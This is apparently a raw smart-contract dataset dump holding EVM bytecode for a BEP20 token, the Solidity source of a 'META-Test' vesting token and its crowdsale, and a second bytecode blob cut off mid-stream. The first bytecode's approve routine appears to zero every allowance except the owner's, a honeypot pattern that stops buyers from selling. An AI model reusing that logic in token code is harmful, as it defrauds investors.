0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203909bc7ddde94399775e75a2ede6d45dfd1a81b749b9b0e630b0058abe103acf64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,875
0x6834bdaafc44fe694fdee72bc480a0cc60858d70
pragma solidity ^0.4.18; // File: src/Token/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: src/Token/OracleOwnable.sol contract OracleOwnable is Ownable { address public oracle; modifier onlyOracle() { require(msg.sender == oracle); _; } modifier onlyOracleOrOwner() { require(msg.sender == oracle || msg.sender == owner); _; } function setOracle(address newOracle) public onlyOracleOrOwner { if (newOracle != address(0)) { oracle = newOracle; } } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: src/Token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, OracleOwnable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: src/Token/ReleasableToken.sol contract ReleasableToken is MintableToken { bool public released = false; event Release(); event Burn(address, uint); modifier isReleased () { require(mintingFinished); require(released); _; } function release() public onlyOwner returns (bool) { require(mintingFinished); require(!released); released = true; Release(); return true; } function transfer(address _to, uint256 _value) public isReleased returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public isReleased returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public isReleased returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public isReleased returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public isReleased returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function burn(address _to, uint _amount) public onlyOwner { totalSupply_ = totalSupply_.sub(_amount); balances[_to] = balances[_to].sub(_amount); Burn(_to, _amount); } } // File: src/Token/StageVestingToken.sol contract StageVestingToken is ReleasableToken { uint256 public stageCount; uint256 public stage; bool public isCheckStage; mapping(uint => mapping(address => uint256)) internal stageVesting; function StageVestingToken () public{ stageCount = 4; stage = 0; isCheckStage = true; } function setStage(uint256 _stage) public onlyOracleOrOwner { stage = _stage; } function setStageCount(uint256 _stageCount) public onlyOracleOrOwner { stageCount = _stageCount; } function setIsCheckStage(bool _isCheckStage) public onlyOracleOrOwner { isCheckStage = _isCheckStage; } function getHolderLimit(address _holder) view public returns (uint256){ return stageVesting[stage][_holder]; } function canUseTokens(address _holder, uint256 _amount) view internal returns (bool){ if (!isCheckStage) { return true; } return (getHolderLimit(_holder) >= _amount); } function addOnOneStage(address _to, uint256 _amount, uint256 _stage) internal { require(_stage < stageCount); stageVesting[_stage][_to] = stageVesting[_stage][_to].add(_amount); } function subOnOneStage(address _to, uint256 _amount, uint256 _stage) internal { require(_stage < stageCount); if (stageVesting[_stage][_to] >= _amount) { stageVesting[_stage][_to] = stageVesting[_stage][_to].sub(_amount); } else { stageVesting[_stage][_to] = 0; } } function addOnStage(address _to, uint256 _amount) internal returns (bool){ return addOnStage(_to, _amount, stage); } function addOnStage(address _to, uint256 _amount, uint256 _stage) internal returns (bool){ if (!isCheckStage) { return true; } for (uint256 i = _stage; i < stageCount; i++) { addOnOneStage(_to, _amount, i); } return true; } function subOnStage(address _to, uint256 _amount) internal returns (bool){ return subOnStage(_to, _amount, stage); } function subOnStage(address _to, uint256 _amount, uint256 _stage) internal returns (bool){ if (!isCheckStage) { return true; } for (uint256 i = _stage; i < stageCount; i++) { subOnOneStage(_to, _amount, i); } return true; } function mint(address _to, uint256 _amount, uint256 _stage) onlyOwner canMint public returns (bool) { super.mint(_to, _amount); addOnStage(_to, _amount, _stage); } function burn(address _to, uint _amount, uint256 _stage) public onlyOwner canMint{ super.burn(_to, _amount); subOnStage(_to, _amount, _stage); } function transfer(address _to, uint256 _value) public returns (bool) { require(canUseTokens(msg.sender, _value)); require(subOnStage(msg.sender, _value)); require(addOnStage(_to, _value)); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(canUseTokens(_from, _value)); require(subOnStage(_from, _value)); require(addOnStage(_to, _value)); return super.transferFrom(_from, _to, _value); } } // File: src/Token/MetabaseToken.sol contract MetabaseToken is StageVestingToken { string public constant name = "META-Test"; string public constant symbol = "MT"; uint256 public constant decimals = 18; } // File: src/Store/MetabaseCrowdSale.sol contract MetabaseCrowdSale is OracleOwnable { using SafeMath for uint; MetabaseToken token; event Transaction(address indexed beneficiary, string currency, uint currencyAmount, uint rate, uint tokenAmount, uint stage, bool isNegative); address[] currencyInvestors; mapping(address => bool) currencyInvestorsAddresses; function setToken(address _token) public onlyOracleOrOwner { token = MetabaseToken(_token); } function addInvestorIfNotExists(address _beneficiary) internal { if (!currencyInvestorsAddresses[_beneficiary]) { currencyInvestors.push(_beneficiary); } } function buy(address _beneficiary, string _currency, uint _currencyAmount, uint _rate, uint _tokenAmount, uint _stage) public onlyOracleOrOwner { addInvestorIfNotExists(_beneficiary); token.mint(_beneficiary, _tokenAmount, _stage); Transaction(_beneficiary, _currency, _currencyAmount, _rate, _tokenAmount, _stage, false); } function refund(address _beneficiary, string _currency, uint _currencyAmount, uint _tokenAmount, uint _stage) public onlyOracleOrOwner { addInvestorIfNotExists(_beneficiary); token.burn(_beneficiary, _tokenAmount, _stage); Transaction(_beneficiary, _currency, _currencyAmount, 0, _tokenAmount, _stage, true); } function tokenTransferOwnership(address _owner) onlyOracleOrOwner public { token.transferOwnership(_owner); } }
0x606060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461018557806306fdde03146101b2578063095ea7b314610240578063156e29f61461029a57806318160ddd146102fd57806323b872dd14610326578063313ce5671461039f5780633eb1d777146103c857806340c10f19146103eb578063661884631461044557806370a082311461049f5780637adbf973146104ec5780637d64bcb4146105255780637dc0d1d01461055257806386d1a69f146105a75780638da5cb5b146105d457806395d89b411461062957806396132521146106b75780639dc29fac146106e4578063a9059cbb14610726578063a9147e2214610780578063af49e321146107a5578063b23d36b0146107f2578063c040e6b81461081f578063c1b664de14610848578063d73dd6231461086b578063dd62ed3e146108c5578063f2fde38b14610931578063f33261ac1461096a578063f5298aca14610993575b600080fd5b341561019057600080fd5b6101986109de565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c56109f1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102055780820151818401526020810190506101ea565b50505050905090810190601f1680156102325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024b57600080fd5b610280600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a2a565b604051808215151515815260200191505060405180910390f35b34156102a557600080fd5b6102e3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050610a74565b604051808215151515815260200191505060405180910390f35b341561030857600080fd5b610310610b0c565b6040518082815260200191505060405180910390f35b341561033157600080fd5b610385600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b16565b604051808215151515815260200191505060405180910390f35b34156103aa57600080fd5b6103b2610b6b565b6040518082815260200191505060405180910390f35b34156103d357600080fd5b6103e96004808035906020019091905050610b70565b005b34156103f657600080fd5b61042b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c2e565b604051808215151515815260200191505060405180910390f35b341561045057600080fd5b610485600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e14565b604051808215151515815260200191505060405180910390f35b34156104aa57600080fd5b6104d6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e5e565b6040518082815260200191505060405180910390f35b34156104f757600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ea6565b005b341561053057600080fd5b610538610fd5565b604051808215151515815260200191505060405180910390f35b341561055d57600080fd5b61056561109d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105b257600080fd5b6105ba6110c3565b604051808215151515815260200191505060405180910390f35b34156105df57600080fd5b6105e76111a6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561063457600080fd5b61063c6111cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561067c578082015181840152602081019050610661565b50505050905090810190601f1680156106a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106c257600080fd5b6106ca611205565b604051808215151515815260200191505060405180910390f35b34156106ef57600080fd5b610724600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611218565b005b341561073157600080fd5b610766600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611391565b604051808215151515815260200191505060405180910390f35b341561078b57600080fd5b6107a3600480803515159060200190919050506113e4565b005b34156107b057600080fd5b6107dc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114b5565b6040518082815260200191505060405180910390f35b34156107fd57600080fd5b610805611511565b604051808215151515815260200191505060405180910390f35b341561082a57600080fd5b610832611524565b6040518082815260200191505060405180910390f35b341561085357600080fd5b610869600480803590602001909190505061152a565b005b341561087657600080fd5b6108ab600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115e8565b604051808215151515815260200191505060405180910390f35b34156108d057600080fd5b61091b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611632565b6040518082815260200191505060405180910390f35b341561093c57600080fd5b610968600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116b9565b005b341561097557600080fd5b61097d611811565b6040518082815260200191505060405180910390f35b341561099e57600080fd5b6109dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050611817565b005b600460149054906101000a900460ff1681565b6040805190810160405280600981526020017f4d4554412d54657374000000000000000000000000000000000000000000000081525081565b6000600460149054906101000a900460ff161515610a4757600080fd5b600460159054906101000a900460ff161515610a6257600080fd5b610a6c83836118aa565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad257600080fd5b600460149054906101000a900460ff16151515610aee57600080fd5b610af88484610c2e565b50610b0484848461199c565b509392505050565b6000600154905090565b6000610b2284836119f1565b1515610b2d57600080fd5b610b378483611a27565b1515610b4257600080fd5b610b4c8383611a3e565b1515610b5757600080fd5b610b62848484611a55565b90509392505050565b601281565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c195750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c2457600080fd5b8060068190555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8c57600080fd5b600460149054906101000a900460ff16151515610ca857600080fd5b610cbd82600154611aa190919063ffffffff16565b600181905550610d14826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600460149054906101000a900460ff161515610e3157600080fd5b600460159054906101000a900460ff161515610e4c57600080fd5b610e568383611abd565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f4f5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f5a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610fd25780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103357600080fd5b600460149054906101000a900460ff1615151561104f57600080fd5b6001600460146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112157600080fd5b600460149054906101000a900460ff16151561113c57600080fd5b600460159054906101000a900460ff1615151561115857600080fd5b6001600460156101000a81548160ff0219169083151502179055507fdf3164c6542982869e04c28f5083f269f2b72ca4bff9a7e792f5c0422788bbc560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600281526020017f4d5400000000000000000000000000000000000000000000000000000000000081525081565b600460159054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127457600080fd5b61128981600154611d4e90919063ffffffff16565b6001819055506112e0816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600061139d33836119f1565b15156113a857600080fd5b6113b23383611a27565b15156113bd57600080fd5b6113c78383611a3e565b15156113d257600080fd5b6113dc8383611d67565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061148d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561149857600080fd5b80600760006101000a81548160ff02191690831515021790555050565b600060086000600654815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900460ff1681565b60065481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115d35750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156115de57600080fd5b8060058190555050565b6000600460149054906101000a900460ff16151561160557600080fd5b600460159054906101000a900460ff16151561162057600080fd5b61162a8383611db1565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673